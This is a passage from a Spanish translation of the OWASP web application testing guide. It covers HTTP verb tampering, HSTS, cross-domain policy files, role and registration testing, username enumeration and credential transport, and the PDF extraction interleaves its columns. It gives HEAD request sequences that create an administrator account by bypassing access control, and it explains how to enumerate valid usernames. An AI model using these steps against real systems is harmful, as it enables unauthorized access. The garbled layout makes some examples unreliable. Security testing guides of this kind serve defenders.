Con suerte, usando los tres comandos anteriores que han sido modificados para adaptarse a la aplicación sometida a la prueba y los requisitos de prueba, se debe crear un nuevo usuario, con una contraseña asignada y hacelo administrador.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 88

Guia de pruebas 4.0 "Borrador"

Pruebas para omitir el control de acceso HEAD Encuentre una página para visitar que tenga una restricción de seguridad que normalmente obligaría una redirección 302 a una página de registro o fuerce un registro directamente. La URL de prueba en este ejemplo funciona así, como lo hacen muchas aplicaciones web. Sin embargo, si el evaluador obtiene una respuesta "200" que no es una página de inicio de sesión, es posible eludir la autenticación y autorización.

Si el evaluador piensa que el sistema es vulnerable a este problema, debe emitir ataques tipo CSRF para explotar el tema más plenamente:

• HEAD /admin/createUser.php?member=myAdmin • HEAD /admin/changePw.php?member=myAdmin&passwd=

foo123&confirm=foo123 $ nc www.example.com 80 • HEAD /admin/groupEdit.php?group=Admins&member=myAd HEAD /admin HTTP/1.1 min&action=add Host: www.example.com

HTTP/1.1 200 OK

Date: Mon, 18 Aug 2008 22:44:11 GMT

Con suerte, usando los tres comandos anteriores (modificados para adaptarse a la aplicación sometida a prueba y los requisitos de prueba)se debe crear un nuevo usuario, con una contraseña asignada y hacerlo administrador, todo usando un envío de solicitud ciega.

Server: Apache Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly

Herramientas

Expires: Thu, 19 Nov 1981 08:52:00 GMT

• NetCat - http://nc110.sourceforge.net

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

• cURL - http://curl.haxx.se/

Pragma: no-cache Referencias Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com

Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com

Libros Blancos • RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1” • RFC 2109 and RFC 2965: HTTP State Management Mechanism”

Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com Content-Language: EN

• Jeremiah Grossman: “Cross Site Tracing (XST)” - cgisecurity.com

Connection: close

• Amit Klein: “XS(T) attack variants which can, in some cases, eliminate the need for TRACE” - securityfocus.com

Si el evaluador obtiene un "405 Method not allowed " o "501 Method Unimplemented", el objetivo aplicación/framework/lenguaje/sistema/firewall) está funcionando correctamente. Si regresa un código de respuesta "200", y la respuesta no contiene ningúna información, es probable que la aplicación ha procesado la solicitud sin autenticación o autorización y se deben realizar pruebas para certificarlas.

• Arshan Dabirsiaghi: “Bypassing VBAAC with HTTP Verb Tampering” static.swpag.info

Pruebe el HTTP Strict Transport Security (OTG-CONFIG-007)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 89

Guia de pruebas 4.0 "Borrador"

Resumen El encabezado HTTPS Strict Transport Security (HSTS) es un mecanismo que tienen los sitios web para comunicarse con los navegadores web. Todo el tráfico intercambiado con un dominio debe siempre ser enviado mediante https; esto ayudará a proteger la información de que se envie mediante peticiones no cifradas.

Cómo probar

Considerando la importancia de esta medida de seguridad, es importante verificar que el sitio web utilice este encabezado HTTP, para garantizar que todos los datos viajan encriptados desde el navegador al servidor.

$ curl -s -D- https://domain.com/ | grep Strict

Probar la presencia del encabezado HSTS puede hacerse comprobando la existencia de la Rúbrica HSTS en la respuesta del servidor en un proxy de intercepción, o usando curl como se indica a continuación:

Resultado esperado: La función HTTP Strict Transport Security (HSTS) permite a una aplicación web informar al navegador, mediante el uso de un encabezado de respuesta especial, que nunca debe establecer una conexión con los servidores de dominio especificados mediante HTTP. En su lugar debe establecer automáticamente todas las solicitudes de conexión para acceder al sitio a través de HTTPS.

El encabezado HTTP Strict Transport Security utiliza dos directivas:

• max-age: para indicar el número de segundos en el que el navegador debe convertir automáticamente todas las solicitudes de HTTP a HTTPS.

Strict-Transport-Security: max-age=...

Referencias • OWASP HTTP Strict Transport Security - owasp.org • OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security http://www.youtube.com/watch?v=zEV3HOuM_Vw

• HSTS Specification: tools.ietf.org

• includeSubDomains: para indicar que todos los subdominios de la aplicación web deben utilizar HTTPS. Pruebe la Política de Dominio Cruzado RIA (OTG-CONFIG-008) Este es un ejemplo de la aplicación de la Rúbrica HSTS: Strict-Transport-Security: max-age=60000; includeSubDomains

El uso del encabezado por parte de las aplicaciones web debe revisarse para encontrar si podrían producirse los siguientes problemas de seguridad:

Resumen Aplicaciones Enriquecidas de Internet (RIA) han adoptado los archivos de políticas de Adobe crossdomain.xml para permitir el acceso controlado de dominio cruzado para consumo de datos y servicios, utilizando tecnologías como Oracle Java, Silverlight y Adobe Flash. Por lo tanto, un dominio puede conceder acceso remoto a sus servicios desde un dominio diferente. Sin embargo, a menudo los archivos de políticas que describen las restricciones de acceso se configuran pobremente. Una configuración pobre de los archivos de directivas permite ataques de Cross-site Request Forgery (Falsificación de peticiones de sitios cruzados) y puede permitir a terceros acceder a los datos sensibles para el usuario.

• Los atacantes olfateando el tráfico de red y accediendo a la información transferida a través de un canal sin codificar. • Los atacantes explotando un ataque de intermediario (man in the middle) debido al problema de aceptar certificados que no son de confianza. • Los usuarios que entraron por error una dirección en el navegador, poniendo HTTP en lugar de HTTPS, o usuarios que hagan clic en un vínculo en una aplicación web que indicó por error el protocolo HTTP.

¿Cuáles son los archivos de directivas entre dominios? Un archivo de políticas de dominios cruzados especifica los permisos que un cliente web como Java, Adobe Flash, Adobe Reader, etc. utilizan para acceder a datos entre dominios diferentes. Para Silverlight, Microsoft adoptó un subconjunto del crossdomain.xml de Adobe y, además, creó su propio archivo de directivas entre dominios: clientaccesspolicy.xml.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 90

Guia de pruebas 4.0 "Borrador"

Cada vez que un cliente web detecta que un recurso tiene que ser solicitado a otro dominio, primero buscará un archivo de políticas en el dominio de destino para determinar si puede realizar peticiones de dominio cruzado, incluyendo encabezados, y si se permiten los enlaces basados en tomas de conexión (socket-based connections) .





Los archivos maestros de políticas se encuentran en la raíz del dominio. Un cliente puede recibir instrucciones para cargar un archivo de políticas diferentes, pero siempre comprobará el archivo maestro de política primero, para asegurarse de que el archivo maestro de políticas permite el archivo de políticas solicitado.



domain=”*”

headers=”*”



Crossdomain.xml vs. Clientaccesspolicy.xml La mayoría de las aplicaciones RIA soportan crossdomain.xml. Sin embargo, en el caso de Silverlight, solo le está permitido funcionar si crossdomain.xml especifica que el acceso se permite desde cualquier dominio. Para un control más detallado con Silverlight, debe usarse clientaccesspolicy.xml.

¿Cómo pueden los archivos de políticas de dominios cruzados ser forzados?

Los archivos de políticas conceden varios tipos de permisos:

• Que usan la funcionalidad de carga de archivos para subirlos y tratarlos como archivos de políticas de dominios cruzados.

• Políticas de dominios cruzados excesivamente permisivas. • Que generan respuestas del servidor que pueden ser tratadas como archivos de políticas de dominios cruzados.

• Archivos de políticas aceptados (Los archivos maestros de políticas de archivos pueden deshabilitar o restringir archivos de políticas específicas)

Impacto del abuso del acceso de dominios cruzados

• Permisos de tomas de conexión

• Derrotar las protecciones CSRF.

• Permisos de encabezados

• Leer datos restringidos o que estaban protegidos por políticas de origen cruzado.

• Permisos de acceso HTTP/HTTPS • Permitir el acceso basado en credenciales criptográficas Cómo probar Para probar las debilidades de los archivos de políticas RIA: Un ejemplo de un archivo de políticas excesivamente permisivos: Para probar la debilidad del archivo de políticas RIA, el evaluador debe tratar de recuperar los archivos de las políticas crossdomain.xml y clientaccesspolicy.xml de la raíz de la aplicación y de cada carpeta encontrada.

Por ejemplo, si el URL de la aplicación es http://www.owasp.org, el evaluador debe intentar descargar los archivos http://www.owasp.org/crossdomain.xml http://www.owasp.org/clientaccesspolicy.xml.

and

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 91

Guia de pruebas 4.0 "Borrador"

• MSDN: “Making a Service Available Across Domain Boundaries” msdn.microsoft.com Después de recuperar todos los archivos de políticas, los permisos permitidos deben medirse bajo el principio de privilegios mínimos. Las solicitudes sólo deben provenir de los dominios, puertos o protocolos que son necesarios. Deben evitarse las políticas excesivamente permisivas. Políticas con "*" deben ser examinadas de cerca.

• MSDN: “Network Security Access Restrictions in Silverlight” msdn.microsoft.com

-

• Stefan Esser: “Poking new holes with Flash Crossdomain Policy Files” hardened-php.net



• Jeremiah Grossman: “Crossdomain.xml Invites Cross-site Mayhem” jeremiahgrossman.blogspot.com



• Google Doctype: “Introduction to Flash security “ - code.google.com

Ejemplo:

Pruebe las Definiciones de Roles (OTGIDENT-001)

Resumen

Resultado esperado:

• una lista de archivos de políticas encontrados. • Una configuración débil en las políticas.

Herramientas • Nikto • OWASP Zed Attack Proxy Project • W3af

Referencias Libros Blancos • UCSD: “Analyzing the Crossdomain Policies of Flash Applications” cseweb.ucsd.edu

Es común en las empresas modernas definir funciones de sistema para la gestión de usuarios y autorización de recursos del sistema. En la mayoría de las implementaciones de sistema, se espera que existan al menos dos funciones: los administradores y usuarios regulares. El primero representa un papel que permite el acceso a la funcionalidad privilegiada e información sensible; el segundo que representa un papel que permite el acceso a información y funcionalidad del negocio regular. Los roles bien desarrollados deben estar alineados con los procesos de negocio que están soportados por la aplicación.

Es importante recordar que la autorización obligatoria no es la única manera de gestionar el acceso a los objetos del sistema. En entornos más confiables, donde la confidencialidad no es crítica, controles más suaves como el flujo de trabajo de aplicación y registro de auditoría pueden cubrir los requisitos de integridad de los datos, mientras no restrinjan el acceso del usuario a la funcionalidad o la creación de estructuras de roles más complejas, que son difíciles de manejar.

Es importante considerar el principio de "Ricitos de Oro" cuando hablamos de la ingeniería de roles. Definirmuy pocos papeles y amplios papeles (exponiendo a los usuarios de esta manera al acceso de funcionalidades que no requieren) es tan malo como muchos papeles o hechos muy ajustados a la medida de cada usuario ( y así restringir el acceso de los usuarios a las funcionalidades que requieren).

• Adobe: “Cross-domain policy file specification” - adobe.com • Adobe: “Cross-domain policy file usage recommendations for Flash Player” - adobe.com

Pruebe los objetivos

• Oracle: “Cross-Domain XML Support” - oracle.com

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 92

Guia de pruebas 4.0 "Borrador"

Valide los diferentes roles en el sistema, definidos dentro de la aplicación. Defina y separe lo suficiente cada sistema y rol de negocio para gestionar un acceso adecuado a la información y funcionalidad del sistema.

Remediación La remediación de los problemas puede tomar las siguientes formas: • Ingeniería de roles

Cómo probar

• Crear mapas de los roles del negocio a los roles del sistema

Con o sin ayuda de los desarrolladores del sistema o administradores, desarrolle un rol versus la matriz de permisos. La matriz debe enumerar todos los roles que pueden ser provisionados y explorar los permisos que pueden aplicarse a los objetos, así como las restricciones. Si una matriz es proporcionada con la aplicación, esta debe ser validada por el evaluador; si no existe, el evaluador debe generar y determinar si la matriz satisface las políticas de acceso deseado por la aplicación.

• Separación de funciones

Pruebe el Proceso de Registro del Usuario (OTG-IDENT-002) Resumen

Ejemplo Un ejemplo real de definiciones de roles se puede encontrar en la documentación de funciones de WordPress [1]. WordPress tiene seis roles por defecto desde Super Administrador hasta Suscriptor.

Algunos sitios web ofrecen un proceso de registro del usuario, que automatiza (o semi-automatiza) la creación del acceso al sistema para los usuarios. Los requisitos de identidad para el acceso varían desde identificación positiva a ninguna en absoluto, dependiendo de los requisitos de seguridad del sistema. Muchas aplicaciones públicas automatizan totalmente el registro y el proceso de provisionamiento porque el tamaño de la base de usuarios hace que sea imposible manejarla manualmente. Sin embargo, muchas aplicaciones corporativas provisionan usuarios manualmente, por lo que este tipo de prueba puede no ser aplicable.

Objetivos de la prueba [1] Verifique que los requisitos de identidad para registro de usuarios estén alineados con los requerimientos de seguridad y negocio.

Herramientas Si bien el enfoque más exhaustivo y exacto para completar esta prueba es llevarla a cabo manualmente, las herramientas de spidering[2] también son útiles. Inicie la sesión con cada rol en orden (no olvide excluir el vínculo cerrar sesión desde la herramienta de spidering).

[2] Valide el proceso de registro.

Cómo probar Verifique que los requisitos de identidad para registro de usuarios estén alineados con los requerimientos de seguridad y negocio:

Referencias [1] Role Engineering for Enterprise Security Management, E Coyne & J Davis, 2007

[2] Role engineering and RBAC standards

[1] ¿Cualquier persona puede registrarse para acceder?

[2] ¿Son validados por un ser humano antes de crear los registros, o se conceden automáticamente si se cumplen los criterios?

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 93

Guia de pruebas 4.0 "Borrador"

[3] ¿Puede la misma persona o identidad registrarse varias veces?

[4] ¿Pueden registrarse usuarios para diferentes roles o permisos?

[5] ¿Qué documento de identidad se requiere para que un registro tenga éxito?

[6] ¿Son las identidades registradas verificadas?

Herramientas Un proxy HTTP puede ser una herramienta útil para probar este control.

Validar el proceso de registro: [1] ¿Puede la información de identidad ser fácilmente falsificada? Referencias [2] ¿Puede el intercambio de información durante el registro ser manipulado?

Diseño de registro de usuarios

Remediación Ejemplo En el siguiente ejemplo de WordPress, el único requisito de identificación es una dirección de correo electrónico accesible a la persona registrada.

Implemente una identificación y verificación de requisitos que corresponden a los requisitos de seguridad de la información que las credenciales protegen.

Pruebe el Proceso de Creación de Cuentas (OTG-IDENT-003) Resumen El aprovisionamiento de cuentas presenta una oportunidad para un atacante de crear una cuenta válida sin la aplicación de una correcta identificación y proceso de autorización.

Objetivos de la Prueba En cambio, en el ejemplo de Google a continuación, la identificación de requisitos incluye nombre, fecha de nacimiento, país, número de teléfono móvil, dirección de correo electrónico y respuesta CAPTCHA. Mientras que sólo dos de estos pueden verificarse (dirección email y número de móvil), los requisitos de identificación son más estrictos que en WordPress.

Verifique qué cuentas pueden aprovisionar otras cuentas y de qué tipo.

Cómo probar

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 94

Guia de pruebas 4.0 "Borrador"

Determine qué roles están a disposición de los usuarios y qué tipo de cuentas pueden aprovisionar .

• ¿Existe alguna verificación, examen y autorización de las solicitudes de aprovisionamiento?

• ¿Existe alguna verificación, examen y autorización de las solicitudes de aprovisionamiento?

• ¿Puede un administrador aprovisionar a otros administradores o sólo usuarios?

• ¿Puede un administrador u otras cuentas crear cuentas de usuario con privilegios mayores que los suyos?

Herramientas • ¿Puede un administrador o usuario eliminar su cuenta?

Aunque el enfoque más exhaustivo y exacto para completar esta prueba es llevarla a cabo manualmente, las herramientas de proxy HTTP tambien pueden ser útiles.

• ¿Cómo son gestionados los archivos o recursos propiedad del usuario eliminado? ¿Se eliminan? ¿Se transfiere el acceso?

Ejemplo En WordPress, sólo el nombre de usuario y correo electrónico son necesarios para crear un usuario, como se muestra a continuación:

Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario (OTGIDENT-004) Resumen La visión de esta prueba es verificar si es posible reunir un conjunto nombres válidos de usuario interactuando con el mecanismo autenticación de la aplicación. Esta prueba será útil para las pruebas fuerza bruta, en las que el evaluador verifica si, dado un nombre usuario válido, es posible encontrar la contraseña correspondiente.

La eliminación de usuarios requiere que el administrador seleccione los usuarios a ser eliminados. Seleccione Eliminar del menú desplegable (marcado en un círculo) y luego aplique esta acción. Al administrador se le presenta entonces un cuadro de diálogo preguntando qué hacer con los mensajes del usuario (borrar o transferir).

de de de de

A menudo, las aplicaciones web revelan cuándo existe un nombre de usuario en el sistema, ya sea como consecuencia de la mala configuración o como una decisión de diseño. Por ejemplo, a veces, cuando se envían credenciales equivocadas, recibimos un mensaje que indica que el nombre de usuario está presente en el sistema o la contraseña proporcionada es incorrecta. La información obtenida puede utilizarla un atacante para obtener una lista de los usuarios en el sistema. Esta información puede utilizarse para atacar la aplicación web, por ejemplo, a través de un ataque forzado o un ataque por defecto de nombre de usuario y contraseña.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 95

Guia de pruebas 4.0 "Borrador"

El evaluador debe interactuar con el mecanismo de autenticación de la aplicación para entender si, enviando peticiones en particular, se logra que la aplicación responda de diferentes maneras. Este problema existe porque la información de aplicación web o servidor web es diferente cuando el usuario proporciona un nombre de usuario válido que cuando usa uno no válido.

En algunos casos, se recibe un mensaje que revela si las credenciales proporcionadas están equivocadas porque se utilizó un nombre de usuario no válido o una contraseña incorrecta. A veces, los evaluadores pueden enumerar los usuarios existentes enviando un nombre de usuario y una contraseña vacía.

El navegador debe mostrar un mensaje similar al siguiente:

o algo así:

Cómo probar En una prueba de de caja negra, el evaluador no sabe nada acerca de la aplicación, nombre de usuario, lógica de la aplicación, mensajes de error en el registro de la página o posibilidades de recuperación de contraseña. Si la aplicación es vulnerable, el evaluador recibe un mensaje de respuesta que revela, directa o indirectamente, alguna información útil para la enumeración de usuarios.

contra cualquier mensaje que revela la existencia del usuario, por ejemplo, un mensaje similar al siguiente:

Login for User foo: invalid password

Mensaje de respuesta HTTP Usando WebScarab, note la información obtenida de este intento fallido de autenticación (respuesta HTTP 200, longitud de la respuesta). Pruebas de búsqueda de contraseñas y usuarios válidos

Registre la respuesta del servidor cuando se envía una identificación de usuario válido y una contraseña válida.

Pruebas para buscar un usuario no existente Ahora, el evaluador debe intentar introducir un ID de usuario inválido y una contraseña incorrecta y registrar la respuesta del servidor (el evaluador debe estar seguro que el nombre de usuario no es válido en la aplicación). Grabe el mensaje de error y la respuesta del servidor.

Resultado esperado: Usando WebScarab, anote la información obtenida de esta autenticación correcta (respuesta HTTP 200, longitud de la respuesta).

Resultado esperado: Si el evaluador ingresa un ID de usuario inexistente, puede recibir un mensaje similar a:

Pruebas para un usuario válido con una contraseña incorrecta. Ahora, el evaluador intentará introducir un usuario válido y una contraseña incorrecta y grabará el mensaje de error generado por la aplicación.

Resultado esperado:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 96

Guia de pruebas 4.0 "Borrador"

o un mensaje como el siguiente:

http://www.foo.com/err.jsp?User=baduser&Error=0

Login failed for User foo: invalid Account

http://www.foo.com/err.jsp?User=gooduser&Error=2 Generalmente, la aplicación debe responder con el mismo mensaje de error y la longitud a las distintas solicitudes incorrectas. Si las respuestas no son iguales, el evaluador debe investigar y averiguar la clave que crea una diferencia entre las dos respuestas. Por ejemplo:

• Solicitud del cliente: usuario válido/ contraseña inválida-->

Como se ve arriba, cuando un evaluador proporciona un ID de usuario y una contraseña a la aplicación web, ven un mensaje que indica que se ha producido un error en la URL. En el primer caso han proporcionado un ID de usuario equivocado y una contraseña equivocada. En el segundo, un ID de usuario correcto y una contraseña equivocada, así que pueden identificar un ID de usuario válido.

Respuesta del servidor: 'la contraseña no es correcta' • Solicitud del cliente: : usuario inválido/ contraseña inválida --> Respuesta del servidor: 'Usuario no reconocido'

Las respuestas anteriores permiten al evaluador entender con la primera solicitud que tienen un nombre de usuario válido para interactuar con la aplicación, solicitando un conjunto de posibles usuarios y observar la respuesta.

-Sondeo de una URI A veces un servidor web responde diferente si recibe una solicitud de un directorio existente o no. Por ejemplo, en algunos portales, cada usuario está asociado con un directorio. Si los evaluadores intentan acceder a un directorio existente, ellos podrían recibir un error de servidor web. Un error muy común que se recibe desde el servidor web es:

403 Forbidden error code Observando la segunda respuesta del servidor, el evaluador entiende, de la misma manera, que no tiene un nombre de usuario válido. Así pueden interactuar de igual forma y crear una lista de usuarios válidos mirando las respuestas del servidor.

y

404 Not found error code Otras maneras de enumerar usuarios Los evaluadores pueden enumerar usuarios de varias maneras, tales como:

- Analizando el código de error recibido en las páginas de inicio de sesión Algunas aplicaciones web liberan código de error específico o un mensaje que podemos analizar. Ejemplo

- Analizando URL y redireccionamientos de URL Por ejemplo:

http://www.foo.com/account1 - we receive from web server: 403 Forbidden http://www.foo.com/account2 - we receive from web server: 404 file Not Found

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 97

Guia de pruebas 4.0 "Borrador"

En el primer caso el usuario existe, pero el evaluador no puede ver la página

web; en el segundo caso, en cambio, el usuario "account2" no existe. Recopilando esta información, los evaluadores pueden enumerar a los

usuarios.

recibir "200 ok" con una imagen; en este caso, podemos suponer que cuando recibimos la imagen específica el usuario no existe. Esta lógica puede aplicarse a otra respuesta del servidor web; el truco es un buen análisis de los mensajes del servidor web y de la aplicación web.

Adivinanza de usuarios En algunos casos, el ID de usuario se crea con políticas específicas de la empresa o el administrador. Por ejemplo, podemos ver un usuario con un ID de usuario creado en orden secuencial: CN000100 CN000101

-Análisis de los títulos de la Página Web …. Los evaluadores pueden recibir información útil del título de la página web, donde pueden obtener un código de error específico o mensajes que revelan si los problemas son del usuario o contraseña.

A veces los usuarios son creados con un alias REALM y luego números secuenciales: R1001 – user 001 for REALM1

Por ejemplo, si un usuario no puede autenticarse en una aplicación y recibe una página web cuyo título es similar a:

Invalid user

Invalid authentication

- Análisis de un mensaje recibido de una instalación de recuperación Cuando utilizamos una instalación de recuperación (es decir, una función de contraseña olvidada) una aplicación vulnerable puede devolver un mensaje que revela si un nombre de usuario existe o no.

R2001 – user 001 for REALM2

Para el ejemplo anterior, podemos crear secuencias de comandos de carcaza (shell scripts) simples que componen usuarios y envían una solicitud con herramientas como wget para automatizar una consulta web para discernir ID de usuarios válidos. Para crear una secuencia de comandos también podemos usar Perl y Curl.

Otras posibilidades son: • ID de usuarios asociados con números de tarjetas de crédito o, en general, números con un patrón.

Por ejemplo, un mensaje similar al siguiente: Usuario Inválido: e-mail address is not valid or the specified user was not found.

• ID de usuarios asociados con nombres reales, por ejemplo, si Freddie Mercury tiene un ID de usuario de "fmercury", entonces usted podría adivinar que Roger Taylor tiene el ID de usuario "rtaylor".

Usuario válido: Your password has been successfully sent to the email address you registered with.

- Mensaje de Error 404 amigable

Una vez más, podemos intuir un nombre de usuario de la información recibida de una consulta LDAP o de la recopilación de información de Google, por ejemplo, de un dominio específico. Google puede ayudar a encontrar los usuarios de un dominio a través de consultas específicas o a través de secuencias de comandos de carcaza (shell scripts) simples o herramientas.

Cuando solicitamos a un usuario dentro del directorio que no existe, no siempre recibimos un código de error 404. Por el contrario, podemos

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 98

Guia de pruebas 4.0 "Borrador"

Atención: mediante la enumeración de cuentas de usuario, se arriesga a bloquear las cuentas después de un número predefinido de intentos fallidos (basado en las políticas de la aplicación). También, a veces, su dirección IP puede ser prohibida por reglas dinámicas en la aplicación firewall o sistema de prevención de intrusión.

Pruebas de Caja Gris

Asegúrese de que la aplicación devuelve mensajes de error genéricos, consistentes en respuesta a nombres de cuenta válidos, contraseñas u otras credenciales de usuario, ingresados durante el proceso de registro.

Asegúrese que las cuentas de pruebas del sistema y cuentas por defecto se eliminen antes de lanzar el sistema a producción (o exponiéndola a una red no confiable).

Pruebas a los mensajes de error de autenticación Compruebe que la aplicación responde de la misma manera a cada solicitud de un cliente que produce una autenticación fallida. Para este problema, la prueba de Caja Negra y la de Caja Gris tienen el mismo concepto, basado en el análisis de los mensajes o códigos de error recibidos de la aplicación web.

Resultado esperado:

Pruebe las políticas de nombre de usuario débiles o sin fuerza (OTG-IDENT-005)

La aplicación debe responder de la misma manera a cada intento fallido de autenticación.

Resumen

Por ejemplo:

Los nombres de usuario de cuentas están a menudo altamente estructurados (por ejemplo, el nombre de la cuenta de Joe Bloggs es jbloggs y el nombre de la cuenta de Fred Nurks es fnurks) y los nombres de cuentas válidos pueden ser adivinados fácilmente.

Credentials submitted are not valid

Objetivos de la Prueba Herramientas • WebScarab: OWASP_WebScarab_Project

Determine si una estructura de nombres de cuenta constante hace que la aplicación sea vulnerable a la enumeración de la cuenta. Determine si los mensajes de error de la aplicación permiten la enumeración de la cuenta.

• CURL: curl.haxx.se • PERL: perl.org Cómo probar • Sun Java Access & Identity Manager users enumeration tool: • Determine la estructura de nombres de cuentas. aboutsecurity.net • Evalúe la respuesta de la aplicación a nombres de cuentas válidos y no válidos. Referencias • Marco Mella, Sun Java Access & Identity Manager Users enumeration: aboutsecurity.net

• Utilice diferentes respuestas a nombres de cuentas válidos y no válidos para enumerar nombres de cuenta válidos. • Use diccionarios de nombre de cuenta para enumerar los nombres de cuenta válidos.

• Username Enumeration Vulnerabilities: gnucitizen.org

Remediación Remediación

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 99

Guia de pruebas 4.0 "Borrador"

Asegúrese que la aplicación devuelva mensajes de error genéricos consistentes en respuesta a nombres de cuenta inválidos, contraseñas u otras credenciales de usuario introducidas durante el proceso registro.

Pruebas de Autenticación Autenticación(Griego: αυθεντικός = verdadero o genuino, de 'authentes' = el autor) es el acto de establecer o confirmar algo (o alguien) como auténtico, es decir, que las demandas hechas por o sobre la cosa son verdaderas. Autenticar un objeto puede significar confirmar su procedencia, mientras que la autenticación de una persona a menudo consiste en verificar su identidad. La autenticación depende de uno o más factores de autenticación.

En la actualidad, el ejemplo más común de este problema es la página de registro en una aplicación web. El evaluador debe comprobar que las credenciales del usuario se transmitan a través de un canal encriptado. Para iniciar una sesión en un sitio web, el usuario generalmente tiene que llenar un formulario simple que transmite los datos insertados a la aplicación web con el método POST. Lo que es menos evidente es que estos datos se pueden transmitir mediante el protocolo HTTP, que transfiere los datos de

una manera insegura, como texto transparente, o utilizando el protocolo HTTPS, que cifra los datos durante la transmisión.

En seguridad informática, la autenticación es el proceso de intentar verificar la identidad digital del remitente de una comunicación. Un ejemplo común de este proceso es el proceso de registro. Probar el esquema de autenticación significa comprender cómo funciona el proceso de autenticación y usar esa información para eludir el mecanismo de autenticación.

Para complicar más las cosas, existe la posibilidad de que el sitio tenga la página de inicio accesible a través de HTTP (haciéndonos creer que la transmisión es insegura), pero en realidad envía datos a través de HTTPS. Esta prueba se hace para asegurarse que un atacante no pueda recuperar información sensible simplemente husmeando en la red con una herramienta de olfateo ( sniffer).

Pruebas del transporte de credenciales en un canal encriptado (OTG-AUTHN-001)

Cómo probar

Resumen

En los siguientes ejemplos, usaremos WebScarab para capturar los encabezados de los paquetes e inspeccionarlos. Puede utilizar cualquier proxy de web que usted prefiera.

Probar el transporte de credenciales significa comprobar que los datos de autenticación del usuario se transfieren a través de un canal encriptado para evitar ser interceptados por usuarios maliciosos. El análisis se centra simplemente en tratar de entender si los datos viajan sin encriptar desde el navegador web al servidor, o si la aplicación web toma las medidas de seguridad apropiadas al usar protocolos como HTTPS. El protocolo HTTPS se construye sobre TLS/SSL para encriptar los datos que se transmiten y asegurar que el usuario es enviado hacia el sitio deseado.

Pruebas de Caja Negra

Ejemplo 1: Envío de datos con el método POST a través de HTTP Suponga que la página de registro presenta un formulario con los campos Usuario, Contraseña y el botón de Enviar para autentificar y dar acceso a la aplicación. Si nos fijamos en las cabeceras de nuestra petición con WebScarab, podemos conseguir algo como esto:

Claramente, el hecho de que el tráfico se encuentre cifrado no necesariamente significa que es totalmente seguro. La seguridad depende también del algoritmo utilizado y la robustez de las claves que la aplicación está utilizando, pero no se abordará este tema en particular en esta sección.

Para una discusión más detallada sobre las pruebas de seguridad de los canales TLS/SSL, consulte el capítulo Probando SSL/TLS débiles. Aquí, el evaluador simplemente tratará de entender si los datos que los usuarios colocan en los formularios web para iniciar una sesión en un sitio web se transmiten utilizando protocolos seguros que los protege de un atacante.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 100

Guia de pruebas 4.0 "Borrador"

POST http://www.example.com/AuthenticationServlet HTTP/1.1

POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1

Host: www.example.com

Host: www.example.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404

Accept: text/xml,application/xml,application/xhtml+xml

Accept: text/xml,application/xml,application/xhtml+xml,text/html

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Keep-Alive: 300

Connection: keep-alive

Connection: keep-alive

Referer: http://www.example.com/index.jsp

Referer: https://www.example.com/cgi-bin/login.cgi

Cookie: JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvV CGdyPkmn3S!

Cookie: language=English;

Content-Type: application/x-www-form-urlencoded

Content-length: 50

Content-Type: application/x-www-form-urlencoded

Content-length: 64

delegated_service=218&User=test&Pass=test&Submit=SUBMIT

En este ejemplo, el evaluador puede entender que la solicitud POST envía los datos a la página www.example.com/AuthenticationServlet usando HTTP. Los datos de respuesta se transmiten sin cifrado y un usuario malintencionado puede interceptar el usuario y la contraseña simplemente al olfatear la red con una herramienta como Wireshark.

Ejemplo 2: Envío de datos con el método POST a través de HTTPS Supongamos que nuestra aplicación web utiliza el protocolo HTTPS para cifrar los datos que estamos enviando (o por lo menos para la transmisión de datos confidenciales, como credenciales). En este caso, cuando se inicia la aplicación web, el encabezado de la solicitud POST sería similar al siguiente:

Podemos ver que se envía la petición a www.example.com:443/cgibin/login.cgi mediante el protocolo HTTPS. Esto garantiza que nuestras credenciales se envían mediante un canal encriptado y que las credenciales no son legibles por un usuario malicioso que utilice un sniffer.

Ejemplo 3: Envío de datos con el método POST a través de HTTPS en una página accesible a través de HTTP Ahora, imagine una página web accesible a través de HTTP y que sólo los datos enviados desde el formulario de autenticación se transmiten a través de HTTPS. Esta situación ocurre, por ejemplo, cuando estamos en un portal de una gran empresa que ofrece diferente información y servicios que están disponibles públicamente, sin identificación; pero el sitio también tiene una sección privada, accesible desde la página de inicio cuando los usuarios inician una sesión; por lo que, al intentar iniciar la sesión, el encabezado de la solicitud se verá como el siguiente ejemplo:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 101

Guia de pruebas 4.0 "Borrador"

POST https://www.example.com:443/login.do HTTP/1.1

GET https://www.example.com/success.html?user=test&pass=test HTTP/1.1

